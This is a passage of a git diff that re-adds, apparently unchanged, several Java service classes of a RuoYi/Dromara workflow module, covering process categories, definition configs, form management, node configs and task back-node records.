repositoryService.setProcessDefinitionCategory(processDefinition.getId(), bo.getCategoryCode()); - } - List deploymentList = QueryUtils.deploymentQuery().deploymentCategory(wfCategoryVo.getCategoryCode()).list(); - for (Deployment deployment : deploymentList) { - repositoryService.setDeploymentCategory(deployment.getId(), bo.getCategoryCode()); - } - List modelList = QueryUtils.modelQuery().modelCategory(wfCategoryVo.getCategoryCode()).list(); - for (Model model : modelList) { - model.setCategory(bo.getCategoryCode()); - repositoryService.saveModel(model); - } - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(WfCategory entity) { - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 批量删除流程分类 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if (isValid) { - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } - - /** - * 按照类别编码查询 - * - * @param categoryCode 分类比吗 - */ - @Override - public WfCategory queryByCategoryCode(String categoryCode) { - return baseMapper.selectOne(new LambdaQueryWrapper().eq(WfCategory::getCategoryCode, categoryCode)); - } -} +package org.dromara.workflow.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.workflow.domain.WfCategory; +import org.dromara.workflow.domain.bo.WfCategoryBo; +import org.dromara.workflow.domain.vo.WfCategoryVo; +import org.dromara.workflow.mapper.WfCategoryMapper; +import org.dromara.workflow.service.IWfCategoryService; +import org.dromara.workflow.utils.QueryUtils; +import org.flowable.engine.RepositoryService; +import org.flowable.engine.repository.Deployment; +import org.flowable.engine.repository.Model; +import org.flowable.engine.repository.ProcessDefinition; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import java.util.Collection; +import java.util.List; + +/** + * 流程分类Service业务层处理 + * + * @author may + * @date 2023-06-28 + */ +@RequiredArgsConstructor +@Service +public class WfCategoryServiceImpl implements IWfCategoryService { + + private final WfCategoryMapper baseMapper; + @Autowired(required = false) + private RepositoryService repositoryService; + + /** + * 查询流程分类 + */ + @Override + public WfCategoryVo queryById(Long id) { + return baseMapper.selectVoById(id); + } + + + /** + * 查询流程分类列表 + */ + @Override + public List queryList(WfCategoryBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(WfCategoryBo bo) { + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.like(StringUtils.isNotBlank(bo.getCategoryName()), WfCategory::getCategoryName, bo.getCategoryName()); + lqw.eq(StringUtils.isNotBlank(bo.getCategoryCode()), WfCategory::getCategoryCode, bo.getCategoryCode()); + return lqw; + } + + /** + * 新增流程分类 + */ + @Override + public Boolean insertByBo(WfCategoryBo bo) { + WfCategory add = MapstructUtils.convert(bo, WfCategory.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改流程分类 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public Boolean updateByBo(WfCategoryBo bo) { + WfCategory update = MapstructUtils.convert(bo, WfCategory.class); + validEntityBeforeSave(update); + WfCategoryVo wfCategoryVo = baseMapper.selectVoById(bo.getId()); + List processDefinitionList = QueryUtils.definitionQuery().processDefinitionCategory(wfCategoryVo.getCategoryCode()).list(); + for (ProcessDefinition processDefinition : processDefinitionList) { + repositoryService.setProcessDefinitionCategory(processDefinition.getId(), bo.getCategoryCode()); + } + List deploymentList = QueryUtils.deploymentQuery().deploymentCategory(wfCategoryVo.getCategoryCode()).list(); + for (Deployment deployment : deploymentList) { + repositoryService.setDeploymentCategory(deployment.getId(), bo.getCategoryCode()); + } + List modelList = QueryUtils.modelQuery().modelCategory(wfCategoryVo.getCategoryCode()).list(); + for (Model model : modelList) { + model.setCategory(bo.getCategoryCode()); + repositoryService.saveModel(model); + } + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(WfCategory entity) { + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 批量删除流程分类 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if (isValid) { + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } + + /** + * 按照类别编码查询 + * + * @param categoryCode 分类比吗 + */ + @Override + public WfCategory queryByCategoryCode(String categoryCode) { + return baseMapper.selectOne(new LambdaQueryWrapper().eq(WfCategory::getCategoryCode, categoryCode)); + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfDefinitionConfigServiceImpl.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfDefinitionConfigServiceImpl.java index 304c207..1a32a6c 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfDefinitionConfigServiceImpl.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfDefinitionConfigServiceImpl.java @@ -1,117 +1,117 @@ -package org.dromara.workflow.service.impl; - -import cn.hutool.core.collection.CollUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.workflow.domain.WfDefinitionConfig; -import org.dromara.workflow.domain.bo.WfDefinitionConfigBo; -import org.dromara.workflow.domain.vo.WfDefinitionConfigVo; -import org.dromara.workflow.mapper.WfDefinitionConfigMapper; -import org.dromara.workflow.service.IWfDefinitionConfigService; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.util.Collection; -import java.util.List; - -/** - * 流程定义配置Service业务层处理 - * - * @author may - * @date 2024-03-18 - */ -@RequiredArgsConstructor -@Service -public class WfDefinitionConfigServiceImpl implements IWfDefinitionConfigService { - - private final WfDefinitionConfigMapper baseMapper; - - /** - * 查询流程定义配置 - */ - @Override - public WfDefinitionConfigVo getByDefId(String definitionId) { - return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(WfDefinitionConfig::getDefinitionId, definitionId)); - } - - /** - * 查询流程定义配置 - * - * @param tableName 表名 - * @return 结果 - */ - @Override - public WfDefinitionConfigVo getByTableNameLastVersion(String tableName) { - List wfDefinitionConfigVos = baseMapper.selectVoList( - new LambdaQueryWrapper().eq(WfDefinitionConfig::getTableName, tableName).orderByDesc(WfDefinitionConfig::getVersion)); - if (CollUtil.isNotEmpty(wfDefinitionConfigVos)) { - return wfDefinitionConfigVos.get(0); - } - return null; - } - - /** - * 查询流程定义配置 - * - * @param definitionId 流程定义id - * @param tableName 表名 - * @return 结果 - */ - @Override - public WfDefinitionConfigVo getByDefIdAndTableName(String definitionId, String tableName) { - return baseMapper.selectVoOne(new LambdaQueryWrapper() - .eq(WfDefinitionConfig::getDefinitionId, definitionId) - .eq(WfDefinitionConfig::getTableName, tableName)); - } - - /** - * 查询流程定义配置排除当前查询的流程定义 - * - * @param tableName 表名 - * @param definitionId 流程定义id - */ - @Override - public List getByTableNameNotDefId(String tableName, String definitionId) { - return baseMapper.selectVoList(new LambdaQueryWrapper() - .eq(WfDefinitionConfig::getTableName, tableName) - .ne(WfDefinitionConfig::getDefinitionId, definitionId)); - } - - /** - * 查询流程定义配置列表 - */ - @Override - public List queryList(List definitionIds) { - return baseMapper.selectVoList(new LambdaQueryWrapper().in(WfDefinitionConfig::getDefinitionId, definitionIds)); - } - - /** - * 新增流程定义配置 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public Boolean saveOrUpdate(WfDefinitionConfigBo bo) { - WfDefinitionConfig add = MapstructUtils.convert(bo, WfDefinitionConfig.class); - baseMapper.delete(new LambdaQueryWrapper().eq(WfDefinitionConfig::getTableName, bo.getTableName())); - add.setTableName(add.getTableName().toLowerCase()); - boolean flag = baseMapper.insertOrUpdate(add); - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 批量删除流程定义配置 - */ - @Override - public Boolean deleteByIds(Collection ids) { - return baseMapper.deleteByIds(ids) > 0; - } - - @Override - public Boolean deleteByDefIds(Collection ids) { - return baseMapper.delete(new LambdaQueryWrapper().in(WfDefinitionConfig::getDefinitionId, ids)) > 0; - } -} +package org.dromara.workflow.service.impl; + +import cn.hutool.core.collection.CollUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.workflow.domain.WfDefinitionConfig; +import org.dromara.workflow.domain.bo.WfDefinitionConfigBo; +import org.dromara.workflow.domain.vo.WfDefinitionConfigVo; +import org.dromara.workflow.mapper.WfDefinitionConfigMapper; +import org.dromara.workflow.service.IWfDefinitionConfigService; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import java.util.Collection; +import java.util.List; + +/** + * 流程定义配置Service业务层处理 + * + * @author may + * @date 2024-03-18 + */ +@RequiredArgsConstructor +@Service +public class WfDefinitionConfigServiceImpl implements IWfDefinitionConfigService { + + private final WfDefinitionConfigMapper baseMapper; + + /** + * 查询流程定义配置 + */ + @Override + public WfDefinitionConfigVo getByDefId(String definitionId) { + return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(WfDefinitionConfig::getDefinitionId, definitionId)); + } + + /** + * 查询流程定义配置 + * + * @param tableName 表名 + * @return 结果 + */ + @Override + public WfDefinitionConfigVo getByTableNameLastVersion(String tableName) { + List wfDefinitionConfigVos = baseMapper.selectVoList( + new LambdaQueryWrapper().eq(WfDefinitionConfig::getTableName, tableName).orderByDesc(WfDefinitionConfig::getVersion)); + if (CollUtil.isNotEmpty(wfDefinitionConfigVos)) { + return wfDefinitionConfigVos.get(0); + } + return null; + } + + /** + * 查询流程定义配置 + * + * @param definitionId 流程定义id + * @param tableName 表名 + * @return 结果 + */ + @Override + public WfDefinitionConfigVo getByDefIdAndTableName(String definitionId, String tableName) { + return baseMapper.selectVoOne(new LambdaQueryWrapper() + .eq(WfDefinitionConfig::getDefinitionId, definitionId) + .eq(WfDefinitionConfig::getTableName, tableName)); + } + + /** + * 查询流程定义配置排除当前查询的流程定义 + * + * @param tableName 表名 + * @param definitionId 流程定义id + */ + @Override + public List getByTableNameNotDefId(String tableName, String definitionId) { + return baseMapper.selectVoList(new LambdaQueryWrapper() + .eq(WfDefinitionConfig::getTableName, tableName) + .ne(WfDefinitionConfig::getDefinitionId, definitionId)); + } + + /** + * 查询流程定义配置列表 + */ + @Override + public List queryList(List definitionIds) { + return baseMapper.selectVoList(new LambdaQueryWrapper().in(WfDefinitionConfig::getDefinitionId, definitionIds)); + } + + /** + * 新增流程定义配置 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public Boolean saveOrUpdate(WfDefinitionConfigBo bo) { + WfDefinitionConfig add = MapstructUtils.convert(bo, WfDefinitionConfig.class); + baseMapper.delete(new LambdaQueryWrapper().eq(WfDefinitionConfig::getTableName, bo.getTableName())); + add.setTableName(add.getTableName().toLowerCase()); + boolean flag = baseMapper.insertOrUpdate(add); + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 批量删除流程定义配置 + */ + @Override + public Boolean deleteByIds(Collection ids) { + return baseMapper.deleteByIds(ids) > 0; + } + + @Override + public Boolean deleteByDefIds(Collection ids) { + return baseMapper.delete(new LambdaQueryWrapper().in(WfDefinitionConfig::getDefinitionId, ids)) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfFormManageServiceImpl.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfFormManageServiceImpl.java index b0c43b0..ad91cf5 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfFormManageServiceImpl.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfFormManageServiceImpl.java @@ -1,111 +1,111 @@ -package org.dromara.workflow.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.workflow.common.enums.FormTypeEnum; -import org.dromara.workflow.domain.WfFormManage; -import org.dromara.workflow.domain.bo.WfFormManageBo; -import org.dromara.workflow.domain.vo.WfFormManageVo; -import org.dromara.workflow.mapper.WfFormManageMapper; -import org.dromara.workflow.service.IWfFormManageService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.List; - -/** - * 表单管理Service业务层处理 - * - * @author may - * @date 2024-03-29 - */ -@RequiredArgsConstructor -@Service -public class WfFormManageServiceImpl implements IWfFormManageService { - - private final WfFormManageMapper baseMapper; - - /** - * 查询表单管理 - */ - @Override - public WfFormManageVo queryById(Long id) { - return baseMapper.selectVoById(id); - } - - @Override - public List queryByIds(List ids) { - return baseMapper.selectVoByIds(ids); - } - - /** - * 查询表单管理列表 - */ - @Override - public TableDataInfo queryPageList(WfFormManageBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - @Override - public List selectList() { - List wfFormManageVos = baseMapper.selectVoList(new LambdaQueryWrapper().orderByDesc(WfFormManage::getUpdateTime)); - for (WfFormManageVo wfFormManageVo : wfFormManageVos) { - wfFormManageVo.setFormTypeName(FormTypeEnum.findByType(wfFormManageVo.getFormType())); - } - return wfFormManageVos; - } - - /** - * 查询表单管理列表 - */ - @Override - public List queryList(WfFormManageBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(WfFormManageBo bo) { - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.like(StringUtils.isNotBlank(bo.getFormName()), WfFormManage::getFormName, bo.getFormName()); - lqw.eq(StringUtils.isNotBlank(bo.getFormType()), WfFormManage::getFormType, bo.getFormType()); - return lqw; - } - - /** - * 新增表单管理 - */ - @Override - public Boolean insertByBo(WfFormManageBo bo) { - WfFormManage add = MapstructUtils.convert(bo, WfFormManage.class); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改表单管理 - */ - @Override - public Boolean updateByBo(WfFormManageBo bo) { - WfFormManage update = MapstructUtils.convert(bo, WfFormManage.class); - return baseMapper.updateById(update) > 0; - } - - /** - * 批量删除表单管理 - */ - @Override - public Boolean deleteByIds(Collection ids) { - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.workflow.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.workflow.common.enums.FormTypeEnum; +import org.dromara.workflow.domain.WfFormManage; +import org.dromara.workflow.domain.bo.WfFormManageBo; +import org.dromara.workflow.domain.vo.WfFormManageVo; +import org.dromara.workflow.mapper.WfFormManageMapper; +import org.dromara.workflow.service.IWfFormManageService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.List; + +/** + * 表单管理Service业务层处理 + * + * @author may + * @date 2024-03-29 + */ +@RequiredArgsConstructor +@Service +public class WfFormManageServiceImpl implements IWfFormManageService { + + private final WfFormManageMapper baseMapper; + + /** + * 查询表单管理 + */ + @Override + public WfFormManageVo queryById(Long id) { + return baseMapper.selectVoById(id); + } + + @Override + public List queryByIds(List ids) { + return baseMapper.selectVoByIds(ids); + } + + /** + * 查询表单管理列表 + */ + @Override + public TableDataInfo queryPageList(WfFormManageBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + @Override + public List selectList() { + List wfFormManageVos = baseMapper.selectVoList(new LambdaQueryWrapper().orderByDesc(WfFormManage::getUpdateTime)); + for (WfFormManageVo wfFormManageVo : wfFormManageVos) { + wfFormManageVo.setFormTypeName(FormTypeEnum.findByType(wfFormManageVo.getFormType())); + } + return wfFormManageVos; + } + + /** + * 查询表单管理列表 + */ + @Override + public List queryList(WfFormManageBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(WfFormManageBo bo) { + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.like(StringUtils.isNotBlank(bo.getFormName()), WfFormManage::getFormName, bo.getFormName()); + lqw.eq(StringUtils.isNotBlank(bo.getFormType()), WfFormManage::getFormType, bo.getFormType()); + return lqw; + } + + /** + * 新增表单管理 + */ + @Override + public Boolean insertByBo(WfFormManageBo bo) { + WfFormManage add = MapstructUtils.convert(bo, WfFormManage.class); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改表单管理 + */ + @Override + public Boolean updateByBo(WfFormManageBo bo) { + WfFormManage update = MapstructUtils.convert(bo, WfFormManage.class); + return baseMapper.updateById(update) > 0; + } + + /** + * 批量删除表单管理 + */ + @Override + public Boolean deleteByIds(Collection ids) { + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfNodeConfigServiceImpl.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfNodeConfigServiceImpl.java index 0498da0..160403e 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfNodeConfigServiceImpl.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfNodeConfigServiceImpl.java @@ -1,75 +1,75 @@ -package org.dromara.workflow.service.impl; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.workflow.domain.WfNodeConfig; -import org.dromara.workflow.domain.vo.WfFormManageVo; -import org.dromara.workflow.domain.vo.WfNodeConfigVo; -import org.dromara.workflow.mapper.WfNodeConfigMapper; -import org.dromara.workflow.service.IWfFormManageService; -import org.dromara.workflow.service.IWfNodeConfigService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.List; - -/** - * 节点配置Service业务层处理 - * - * @author may - * @date 2024-03-30 - */ -@RequiredArgsConstructor -@Service -public class WfNodeConfigServiceImpl implements IWfNodeConfigService { - - private final WfNodeConfigMapper baseMapper; - private final IWfFormManageService wfFormManageService; - - /** - * 查询节点配置 - */ - @Override - public WfNodeConfigVo queryById(Long id) { - return baseMapper.selectVoById(id); - } - - /** - * 保存节点配置 - */ - @Override - public Boolean saveOrUpdate(List list) { - return baseMapper.insertOrUpdateBatch(list); - } - - /** - * 批量删除节点配置 - */ - @Override - public Boolean deleteByIds(Collection ids) { - return baseMapper.deleteByIds(ids) > 0; - } - - - - @Override - public Boolean deleteByDefIds(Collection ids) { - return baseMapper.delete(new LambdaQueryWrapper().in(WfNodeConfig::getDefinitionId, ids)) > 0; - } - - @Override - public List selectByDefIds(Collection ids) { - List wfNodeConfigVos = baseMapper.selectVoList(new LambdaQueryWrapper().in(WfNodeConfig::getDefinitionId, ids)); - if (CollUtil.isNotEmpty(wfNodeConfigVos)) { - List formIds = StreamUtils.toList(wfNodeConfigVos, WfNodeConfigVo::getFormId); - List wfFormManageVos = wfFormManageService.queryByIds(formIds); - for (WfNodeConfigVo wfNodeConfigVo : wfNodeConfigVos) { - wfFormManageVos.stream().filter(e -> ObjectUtil.equals(e.getId(), wfNodeConfigVo.getFormId())).findFirst().ifPresent(wfNodeConfigVo::setWfFormManageVo); - } - } - return wfNodeConfigVos; - } -} +package org.dromara.workflow.service.impl; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.workflow.domain.WfNodeConfig; +import org.dromara.workflow.domain.vo.WfFormManageVo; +import org.dromara.workflow.domain.vo.WfNodeConfigVo; +import org.dromara.workflow.mapper.WfNodeConfigMapper; +import org.dromara.workflow.service.IWfFormManageService; +import org.dromara.workflow.service.IWfNodeConfigService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.List; + +/** + * 节点配置Service业务层处理 + * + * @author may + * @date 2024-03-30 + */ +@RequiredArgsConstructor +@Service +public class WfNodeConfigServiceImpl implements IWfNodeConfigService { + + private final WfNodeConfigMapper baseMapper; + private final IWfFormManageService wfFormManageService; + + /** + * 查询节点配置 + */ + @Override + public WfNodeConfigVo queryById(Long id) { + return baseMapper.selectVoById(id); + } + + /** + * 保存节点配置 + */ + @Override + public Boolean saveOrUpdate(List list) { + return baseMapper.insertOrUpdateBatch(list); + } + + /** + * 批量删除节点配置 + */ + @Override + public Boolean deleteByIds(Collection ids) { + return baseMapper.deleteByIds(ids) > 0; + } + + + + @Override + public Boolean deleteByDefIds(Collection ids) { + return baseMapper.delete(new LambdaQueryWrapper().in(WfNodeConfig::getDefinitionId, ids)) > 0; + } + + @Override + public List selectByDefIds(Collection ids) { + List wfNodeConfigVos = baseMapper.selectVoList(new LambdaQueryWrapper().in(WfNodeConfig::getDefinitionId, ids)); + if (CollUtil.isNotEmpty(wfNodeConfigVos)) { + List formIds = StreamUtils.toList(wfNodeConfigVos, WfNodeConfigVo::getFormId); + List wfFormManageVos = wfFormManageService.queryByIds(formIds); + for (WfNodeConfigVo wfNodeConfigVo : wfNodeConfigVos) { + wfFormManageVos.stream().filter(e -> ObjectUtil.equals(e.getId(), wfNodeConfigVo.getFormId())).findFirst().ifPresent(wfNodeConfigVo::setWfFormManageVo); + } + } + return wfNodeConfigVos; + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfTaskBackNodeServiceImpl.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfTaskBackNodeServiceImpl.java index 6c255d3..900b71c 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfTaskBackNodeServiceImpl.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WfTaskBackNodeServiceImpl.java @@ -1,144 +1,144 @@ -package org.dromara.workflow.service.impl; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.workflow.domain.WfTaskBackNode; -import org.dromara.workflow.domain.vo.MultiInstanceVo; -import org.dromara.workflow.mapper.WfTaskBackNodeMapper; -import org.dromara.workflow.service.IWfTaskBackNodeService; -import org.dromara.workflow.utils.WorkflowUtils; -import org.flowable.task.api.Task; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.util.ArrayList; -import java.util.List; - -import static org.dromara.workflow.common.constant.FlowConstant.MULTI_INSTANCE; -import static org.dromara.workflow.common.constant.FlowConstant.USER_TASK; - - -/** - * 节点驳回记录Service业务层处理 - * - * @author may - * @date 2024-03-13 - */ -@Slf4j -@RequiredArgsConstructor -@Service -public class WfTaskBackNodeServiceImpl implements IWfTaskBackNodeService { - - private final WfTaskBackNodeMapper wfTaskBackNodeMapper; - - @Override - @Transactional(rollbackFor = Exception.class) - public void recordExecuteNode(Task task) { - List list = getListByInstanceId(task.getProcessInstanceId()); - WfTaskBackNode wfTaskBackNode = new WfTaskBackNode(); - wfTaskBackNode.setNodeId(task.getTaskDefinitionKey()); - wfTaskBackNode.setNodeName(task.getName()); - wfTaskBackNode.setInstanceId(task.getProcessInstanceId()); - wfTaskBackNode.setAssignee(String.valueOf(LoginHelper.getUserId())); - MultiInstanceVo multiInstance = WorkflowUtils.isMultiInstance(task.getProcessDefinitionId(), task.getTaskDefinitionKey()); - if (ObjectUtil.isNotEmpty(multiInstance)) { - wfTaskBackNode.setTaskType(MULTI_INSTANCE); - } else { - wfTaskBackNode.setTaskType(USER_TASK); - } - if (CollUtil.isEmpty(list)) { - wfTaskBackNode.setOrderNo(0); - wfTaskBackNodeMapper.insert(wfTaskBackNode); - } else { - WfTaskBackNode taskNode = StreamUtils.findFirst(list, e -> e.getNodeId().equals(wfTaskBackNode.getNodeId()) && e.getOrderNo() == 0); - if (ObjectUtil.isEmpty(taskNode)) { - wfTaskBackNode.setOrderNo(list.get(0).getOrderNo() + 1); - WfTaskBackNode node = getListByInstanceIdAndNodeId(wfTaskBackNode.getInstanceId(), wfTaskBackNode.getNodeId()); - if (ObjectUtil.isNotEmpty(node)) { - node.setAssignee(node.getAssignee() + StringUtils.SEPARATOR + LoginHelper.getUserId()); - wfTaskBackNodeMapper.updateById(node); - } else { - wfTaskBackNodeMapper.insert(wfTaskBackNode); - } - } - } - } - - @Override - public List getListByInstanceId(String processInstanceId) { - LambdaQueryWrapper wrapper = new LambdaQueryWrapper<>(); - wrapper.eq(WfTaskBackNode::getInstanceId, processInstanceId); - wrapper.orderByDesc(WfTaskBackNode::getOrderNo); - return wfTaskBackNodeMapper.selectList(wrapper); - } - - @Override - public WfTaskBackNode getListByInstanceIdAndNodeId(String processInstanceId, String nodeId) { - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(WfTaskBackNode::getInstanceId, processInstanceId); - queryWrapper.eq(WfTaskBackNode::getNodeId, nodeId); - return wfTaskBackNodeMapper.selectOne(queryWrapper); - } - - @Override - @Transactional(rollbackFor = Exception.class) - public boolean deleteBackTaskNode(String processInstanceId, String targetActivityId) { - try { - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(WfTaskBackNode::getInstanceId, processInstanceId); - queryWrapper.eq(WfTaskBackNode::getNodeId, targetActivityId); - WfTaskBackNode actTaskNode = wfTaskBackNodeMapper.selectOne(queryWrapper); - if (ObjectUtil.isNotNull(actTaskNode)) { - Integer orderNo = actTaskNode.getOrderNo(); - List taskNodeList = getListByInstanceId(processInstanceId); - List ids = new ArrayList<>(); - if (CollUtil.isNotEmpty(taskNodeList)) { - for (WfTaskBackNode taskNode : taskNodeList) { - if (taskNode.getOrderNo() >= orderNo) { - ids.add(taskNode.getId()); - } - } - } - if (CollUtil.isNotEmpty(ids)) { - wfTaskBackNodeMapper.deleteByIds(ids); - } - } - return true; - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException("删除失败"); - } - } - - @Override - @Transactional(rollbackFor = Exception.class) - public boolean deleteByInstanceId(String processInstanceId) { - LambdaQueryWrapper wrapper = new LambdaQueryWrapper<>(); - wrapper.eq(WfTaskBackNode::getInstanceId, processInstanceId); - List list = wfTaskBackNodeMapper.selectList(wrapper); - int delete = wfTaskBackNodeMapper.delete(wrapper); - if (list.size() != delete) { - throw new ServiceException("删除失败"); - } - return true; - } - - @Override - public boolean deleteByInstanceIds(List processInstanceIds) { - LambdaQueryWrapper wrapper = new LambdaQueryWrapper<>(); - wrapper.in(WfTaskBackNode::getInstanceId, processInstanceIds); - List list = wfTaskBackNodeMapper.selectList(wrapper); - int delete = wfTaskBackNodeMapper.delete(wrapper); - if (list.size() != delete) { - throw new ServiceException("删除失败"); - } - return true; - } -} +package org.dromara.workflow.service.impl; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.workflow.domain.WfTaskBackNode; +import org.dromara.workflow.domain.vo.MultiInstanceVo; +import org.dromara.workflow.mapper.WfTaskBackNodeMapper; +import org.dromara.workflow.service.IWfTaskBackNodeService; +import org.dromara.workflow.utils.WorkflowUtils; +import org.flowable.task.api.Task; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import java.util.ArrayList; +import java.util.List; + +import static org.dromara.workflow.common.constant.FlowConstant.MULTI_INSTANCE; +import static org.dromara.workflow.common.constant.FlowConstant.USER_TASK; + + +/** + * 节点驳回记录Service业务层处理 + * + * @author may + * @date 2024-03-13 + */ +@Slf4j +@RequiredArgsConstructor +@Service +public class WfTaskBackNodeServiceImpl implements 